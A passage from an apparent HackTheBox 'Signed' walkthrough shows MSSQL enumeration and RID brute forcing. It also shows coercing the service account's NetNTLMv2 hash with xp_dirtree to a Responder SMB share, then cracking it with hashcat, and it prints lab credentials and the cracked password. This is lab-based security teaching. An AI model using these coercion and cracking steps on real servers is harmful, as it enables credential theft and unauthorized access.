          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:49:07</span></span><a href="https://app.hackthebox.com/users/588513" target="_blank" rel="noopener"><img alt="Opcode" src="https://www.hackthebox.com/badge/image/588513" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> Opcode</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/389926" target="_blank" rel="noopener"><img alt="kavigihan" src="https://www.hackthebox.com/badge/image/389926" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> kavigihan</span></a><br />
      </div>
    </div>

    
    <div class="htb-scenario-section">
      <span class="htb-meta-label">Scenario</span>
      <div class="htb-scenario-box"><span class="htb-scenario-text">As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH</span></div>
    </div>
    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds only one open TCP port, MSSQL (1433):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.242.173
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-31 00:47 UTC
...[snip]...
Nmap scan report for DC01.signed.htb (10.129.242.173)
Host is up, received echo-reply ttl 127 (0.022s latency).
Scanned at 2026-01-31 00:47:34 UTC for 14s
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE  REASON
1433/tcp open  ms-sql-s syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.36 seconds
           Raw packets sent: 131074 (5.767MB) | Rcvd: 2 (72B)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 1433 <span class="nt">-sCV</span> 10.129.242.173
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-31 00:48 UTC
Nmap scan report for DC01.signed.htb (10.129.242.173)
Host is up (0.022s latency).

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-01-30T16:34:41
|_Not valid after:  2056-01-30T16:34:41
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-01-31T00:48:33+00:00; -5s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -5s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.75 seconds
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">nmap</code> identifies the machine as running Windows with MSSQL Server 2022. It fails to get a hostname from the TLS certificate.</p>

<p>The port shows a TTL of 127, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Windows one hop away.</p>

<h3 id="initial-credentials">Initial Credentials</h3>

<p>HackTheBox provides the following scenario associated with Signed:</p>

<p><span class="htb-scenario-text">As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH</span></p>

<p>The creds do work, but only using <code class="language-plaintext highlighter-rouge">--local-auth</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql 10.129.242.173 <span class="nt">-u</span> scott <span class="nt">-p</span> <span class="s1">'Sm230#C5NatH'</span>
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> SIGNED.HTB\scott:Sm230#C5NatH (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql 10.129.242.173 <span class="nt">-u</span> scott <span class="nt">-p</span> <span class="s1">'Sm230#C5NatH'</span> <span class="nt">--local-auth</span>
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> DC01\scott:Sm230#C5NatH
</span></code></pre></div></div>

<p>That means the account is a login specific to SQL, as opposed to a Windows/domain account. <code class="language-plaintext highlighter-rouge">--local-auth</code> tells <code class="language-plaintext highlighter-rouge">netexec</code> to use the SQL authentication rather than Windows integrated auth.</p>

<p>I’ll also note the hostname and domain and update my <code class="language-plaintext highlighter-rouge">hosts</code> file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.129.242.173  DC01.signed.htb signed.htb DC01
</code></pre></div></div>

<h3 id="mssql---tcp-1433">MSSQL - TCP 1433</h3>

<h4 id="database">Database</h4>

<p>I’ll connect to MSSQL using <code class="language-plaintext highlighter-rouge">mssqlclient.py</code> from <a href="https://github.com/SecureAuthCorp/impacket">Impacket</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>mssqlclient.py scott:<span class="s1">'Sm230#C5NatH'</span>@DC01.signed.htb
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (scott  guest@master)&gt;</span><span class="w">
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">@@version</code> global variable shows the version:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="k">select</span> <span class="o">@@</span><span class="k">version</span><span class="p">;</span>
<span class="go">
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) 
        Oct  8 2022 05:58:25 
        Copyright (C) 2022 Microsoft Corporation
        Enterprise Evaluation Edition (64-bit) on Windows Server 2019 Standard 10.0 &lt;X64&gt; (Build 17763: ) (Hypervisor)
</span></code></pre></div></div>

<p>The prompt shows that the scott user has the guest role and that the default database is master. I can explicitly get more information about the logged in user:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="k">select</span> <span class="n">SUSER_SNAME</span><span class="p">(),</span> <span class="n">ORIGINAL_LOGIN</span><span class="p">();</span>
<span class="go">                
-----   -----   
scott   scott   
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ORIGINAL_LOGIN()</code> gives the user who authenticated to MSSQL, and <code class="language-plaintext highlighter-rouge">SUSER_SNAME()</code> gives the user mapped into the current security context. In this case, they are the same, but it is possible that logging in with one account will map to another user within MSSQL. To explicitly see permissions, I can check both the server and the database level permissions:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">fn_my_permissions</span><span class="p">(</span><span class="k">NULL</span><span class="p">,</span> <span class="s1">'SERVER'</span><span class="p">);</span>
<span class="go">entity_name   subentity_name   permission_name     
-----------   --------------   -----------------   
server                         CONNECT SQL         
server                         VIEW ANY DATABASE   
</span><span class="gp">SQL (scott  guest@master)&gt; </span><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">fn_my_permissions</span><span class="p">(</span><span class="k">NULL</span><span class="p">,</span> <span class="s1">'DATABASE'</span><span class="p">);</span>
<span class="go">entity_name   subentity_name   permission_name                             
-----------   --------------   -----------------------------------------   
database                       CONNECT                                     
database                       VIEW ANY COLUMN ENCRYPTION KEY DEFINITION   
database                       VIEW ANY COLUMN MASTER KEY DEFINITION  
</span></code></pre></div></div>

<p>The databases are just the default DBs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="k">SELECT</span> <span class="n">name</span> <span class="k">FROM</span> <span class="n">sys</span><span class="p">.</span><span class="n">databases</span><span class="p">;</span>
<span class="go">name     
------   
master   
tempdb   
model    
msdb    
</span></code></pre></div></div>

<p>Without any interesting data to look at, I’ll check for <code class="language-plaintext highlighter-rouge">xp_cmdshell</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="n">xp_cmdshell</span> <span class="n">whoami</span>
<span class="go">ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
</span><span class="gp">SQL (scott  guest@master)&gt; </span><span class="n">enable_xp_cmdshell</span>
<span class="go">ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE state
</span></code></pre></div></div>

<p>It’s disabled, and scott doesn’t have permissions to enable it.</p>

<p>I’ll check for impersonation and linked servers, but neither show anything interesting:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="n">enum_impersonate</span>
<span class="go">execute as   database   permission_name   state_desc   grantee   grantor   
----------   --------   ---------------   ----------   -------   -------   
</span><span class="gp">SQL (scott  guest@master)&gt; </span><span class="n">enum_links</span>
<span class="go">SRV_NAME   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE   SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
--------   ----------------   -----------   --------------   ------------------   ------------   -------   
DC01       SQLNCLI            SQL Server    DC01             NULL                 NULL           NULL      
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------   
</span></code></pre></div></div>

<p>That output confirms the current server name, DC01, which I can also see with <code class="language-plaintext highlighter-rouge">@@SERVERNAME</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="k">select</span> <span class="o">@@</span><span class="n">SERVERNAME</span><span class="p">;</span>
<span class="go">       
----   
DC01 
</span></code></pre></div></div>

<p>Listing the logins, it’s just scott and the sa (admin) account:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="n">enum_logins</span>
<span class="go">name    type_desc   is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-----   ---------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa      SQL_LOGIN             0          1               0             0            0              0           0           0           0   
scott   SQL_LOGIN             0          0               0             0            0              0           0           0           0
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">xp_dirtree</code> will let me enumerate the filesystem. I can try to read the contents of <code class="language-plaintext highlighter-rouge">C:\</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="n">xp_dirtree</span><span class="w"> </span><span class="s2">"C:\"</span><span class="w">
</span><span class="go">subdirectory   depth   
------------   -----  
</span></code></pre></div></div>

<p>It looks like scott can run the command, but doesn’t have permissions to read any of the files.</p>

<h4 id="domain-users">Domain Users</h4>

<p>MSSQL provides the mechanism to get information about domain users. For example, I can look up the SID for the domain Administrator account:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="k">SELECT</span> <span class="n">SUSER_SID</span><span class="p">(</span><span class="s1">'SIGNED</span><span class="se">\A</span><span class="s1">dministrator'</span><span class="p">);</span>
<span class="go">                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000'  
</span></code></pre></div></div>

<p>I can also go the other way:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="k">SELECT</span> <span class="n">SUSER_SNAME</span><span class="p">(</span><span class="mi">0</span><span class="n">x0105000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000</span><span class="p">);</span>
<span class="go">                       
--------------------   
SIGNED\Administrator
</span></code></pre></div></div>

<p>This SID is in binary format, but the 0xf4010000 is RID 500 in little-endian hex. If I want to see who has 501 (0xf5010000), MSSQL will show:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="k">SELECT</span> <span class="n">SUSER_SNAME</span><span class="p">(</span><span class="mi">0</span><span class="n">x0105000000000005150000005b7bb0f398aa2245ad4a1ca4f5010000</span><span class="p">);</span>
<span class="go">               
------------   
SIGNED\Guest 
</span></code></pre></div></div>

<p>Thankfully, <code class="language-plaintext highlighter-rouge">netexec</code> has a <code class="language-plaintext highlighter-rouge">--rid-brute</code> option that will dump users:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span>netexec mssql 10.129.242.173 <span class="nt">-u</span> scott <span class="nt">-p</span> <span class="s1">'Sm230#C5NatH'</span> <span class="nt">--local-auth</span> <span class="nt">--rid-brute</span>
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> DC01\scott:Sm230#C5NatH
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             498: SIGNED\Enterprise Read-only Domain Controllers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             500: SIGNED\Administrator
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             501: SIGNED\Guest
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             502: SIGNED\krbtgt
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             512: SIGNED\Domain Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             513: SIGNED\Domain Users
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             514: SIGNED\Domain Guests
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             515: SIGNED\Domain Computers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             516: SIGNED\Domain Controllers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             517: SIGNED\Cert Publishers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             518: SIGNED\Schema Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             519: SIGNED\Enterprise Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             520: SIGNED\Group Policy Creator Owners
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             521: SIGNED\Read-only Domain Controllers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             522: SIGNED\Cloneable Domain Controllers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             525: SIGNED\Protected Users
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             526: SIGNED\Key Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             527: SIGNED\Enterprise Key Admins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             553: SIGNED\RAS and IAS Servers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             571: SIGNED\Allowed RODC Password Replication Group
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             572: SIGNED\Denied RODC Password Replication Group
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1000: SIGNED\DC01$
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1101: SIGNED\DnsAdmins
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1102: SIGNED\DnsUpdateProxy
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1103: SIGNED\mssqlsvc
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1104: SIGNED\HR
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1105: SIGNED\IT
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1106: SIGNED\Finance
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1107: SIGNED\Developers
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1108: SIGNED\Support
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1109: SIGNED\oliver.mills
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1110: SIGNED\emma.clark
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1111: SIGNED\liam.wright
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1112: SIGNED\noah.adams
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1113: SIGNED\ava.morris
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1114: SIGNED\sophia.turner
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1115: SIGNED\james.morgan
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1116: SIGNED\mia.cooper
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1117: SIGNED\elijah.brooks
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1118: SIGNED\isabella.evans
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1119: SIGNED\lucas.murphy
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1120: SIGNED\william.johnson
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1121: SIGNED\charlotte.price
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1122: SIGNED\henry.bennett
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1123: SIGNED\amelia.kelly
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1124: SIGNED\jackson.gray
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1125: SIGNED\harper.diaz
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             1126: SIGNED\SQLServer2005SQLBrowserUser$DC01
</span></code></pre></div></div>

<h2 id="auth-as-mssqlsvc">Auth as mssqlsvc</h2>

<h3 id="coerce-hash">Coerce Hash</h3>

<p>I’m going to use <code class="language-plaintext highlighter-rouge">xp_dirtree</code> to try to list a directory from an SMB share I control. That will cause MSSQL to try to authenticate to my share (using the service account that MSSQL is running under), where I can capture the NetNTLMv2 challenge / response (hash) and try to crack it. I’ll start <a href="https://github.com/lgandx/Responder">Responder</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>uv run Responder.py <span class="nt">-I</span> tun0
<span class="go">...[snip]...
[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.16]
    Responder IPv6             [dead:beef:2::100e]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:
    Responder Machine Name     [WIN-DIOQQ6Y3BSS]
    Responder Domain Name      [BB40.LOCAL]
    Responder DCE-RPC Port     [49815]
    
[+] Listening for events...
</span></code></pre></div></div>

<p>And now I’ll try to list a directory from an SMB share on my host:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (scott  guest@master)&gt; </span><span class="n">xp_dirtree</span><span class="w"> </span><span class="nx">\\10.10.14.16\share</span><span class="w">
</span><span class="go">subdirectory   depth   file   
------------   -----   ----  
</span></code></pre></div></div>

<p>There’s a hash in Responder:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.242.173
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:ddecccf61cda2e75:0BC9A74AF8C16AA73A838979E707BCD7:0101000000000000807B86014D92DC012D7962B0DEE159A80000000002000800420042003400300001001E00570049004E002D00440049004F005100510036005900330042005300530004003400570049004E002D00440049004F00510051003600590033004200530053002E0042004200340030002E004C004F00430041004C000300140042004200340030002E004C004F00430041004C000500140042004200340030002E004C004F00430041004C0007000800807B86014D92DC010600040002000000080030003000000000000000000000000030000040354681DD95D3E78F8B299933F8B5531267AE1A692342562A0BFFE870919C8C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310036000000000000000000
</span></code></pre></div></div>

<h3 id="crack-netntlmv2">Crack NetNTLMv2</h3>

<p>I’ll save that to a file and pass it to <code class="language-plaintext highlighter-rouge">hashcat</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat ./mssqlsvc.hash rockyou.txt
<span class="go">hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol
...[snip]...
MSSQLSVC::SIGNED:ddecccf61cda2e75:0bc9a74af8c16aa73a838979e707bcd7:0101000000000000807b86014d92dc012d7962b0dee159a80000000002000800420042003400300001001e00570049004e002d00440049004f005100510036005900330042005300530004003400570049004e002d00440049004f00510051003600590033004200530053002e0042004200340030002e004c004f00430041004c000300140042004200340030002e004c004f00430041004c000500140042004200340030002e004c004f00430041004c0007000800807b86014d92dc010600040002000000080030003000000000000000000000000030000040354681dd95d3e78f8b299933f8b5531267ae1a692342562a0bffe870919c8c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310036000000000000000000:purPLE9795!@
...[snip]...
</span></code></pre></div></div>

<p>It cracked to “purPLE9795!@” in less than five seconds on my host.</p>

<p>This password works for a non-local login to MSSQL:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql DC01.signed.htb <span class="nt">-u</span> mssqlsvc <span class="nt">-p</span> <span class="s1">'purPLE9795!@'</span> <span class="nt">--local-auth</span>
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> DC01\mssqlsvc:purPLE9795!@ (Login failed for user 'mssqlsvc'. Please try again with or without '--local-auth')
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql DC01.signed.htb <span class="nt">-u</span> mssqlsvc <span class="nt">-p</span> <span class="s1">'purPLE9795!@'</span> 
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.242.173  1433   DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> SIGNED.HTB\mssqlsvc:purPLE9795!@ 
</span></code></pre></div></div>

<h2 id="shell-as-mssql">Shell as MSSQL</h2>

<h3 id="enumeration">Enumeration</h3>

<p>I can connect with <code class="language-plaintext highlighter-rouge">mssqlclient.py</code>, this time with the <code class="language-plaintext highlighter-rouge">-windows-auth</code> flag to use a domain account using Windows integrated authentication:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>mssqlclient.py mssqlsvc:<span class="s1">'purPLE9795!@'</span>@DC01.signed.htb <span class="nt">-windows-auth</span>
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (SIGNED\mssqlsvc  guest@master)&gt;</span><span class="w">
</span></code></pre></div></div>

<p>It is still showing guest privileges. This account is not an admin:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  guest@master)&gt; </span><span class="k">SELECT</span> <span class="n">IS_SRVROLEMEMBER</span><span class="p">(</span><span class="s1">'sysadmin'</span><span class="p">);</span>
<span class="go">    
-   
0   
</span></code></pre></div></div>

<p>There is some impersonation set up:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  guest@master)&gt; </span><span class="n">enum_impersonate</span>
<span class="go">execute as   database   permission_name   state_desc   grantee    grantor                        
----------   --------   ---------------   ----------   --------   ----------------------------   
b'USER'      msdb       IMPERSONATE       GRANT        dc_admin   MS_DataCollectorInternalUser
</span></code></pre></div></div>

<p>dc_admin has been granted IMPERSONATE permission on the MS_DataCollectorInternalUser user in the msdb database. MS_DataCollectorInternalUser is a built-in high-privilege account in msdb. The problem is that dc_admin doesn’t exist as a database user in msdb:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  guest@master)&gt; </span>enum_logins
<span class="go">name                                type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
---------------------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                                  SQL_LOGIN                 0          1               0             0            0              0           0           0           0   
##MS_PolicyEventProcessingLogin##   SQL_LOGIN                 1          0               0             0            0              0           0           0           0   
##MS_PolicyTsqlExecutionLogin##     SQL_LOGIN                 1          0               0             0            0              0           0           0           0   
SIGNED\IT                           WINDOWS_GROUP             0          1               0             0            0              0           0           0           0   
NT SERVICE\SQLWriter                WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT SERVICE\Winmgmt                  WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT SERVICE\MSSQLSERVER              WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT AUTHORITY\SYSTEM                 WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
NT SERVICE\SQLSERVERAGENT           WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT SERVICE\SQLTELEMETRY             WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
scott                               SQL_LOGIN                 0          0               0             0            0              0           0           0           0   
SIGNED\Domain Users                 WINDOWS_GROUP             0          0               0             0            0              0           0           0           0  
</span></code></pre></div></div>

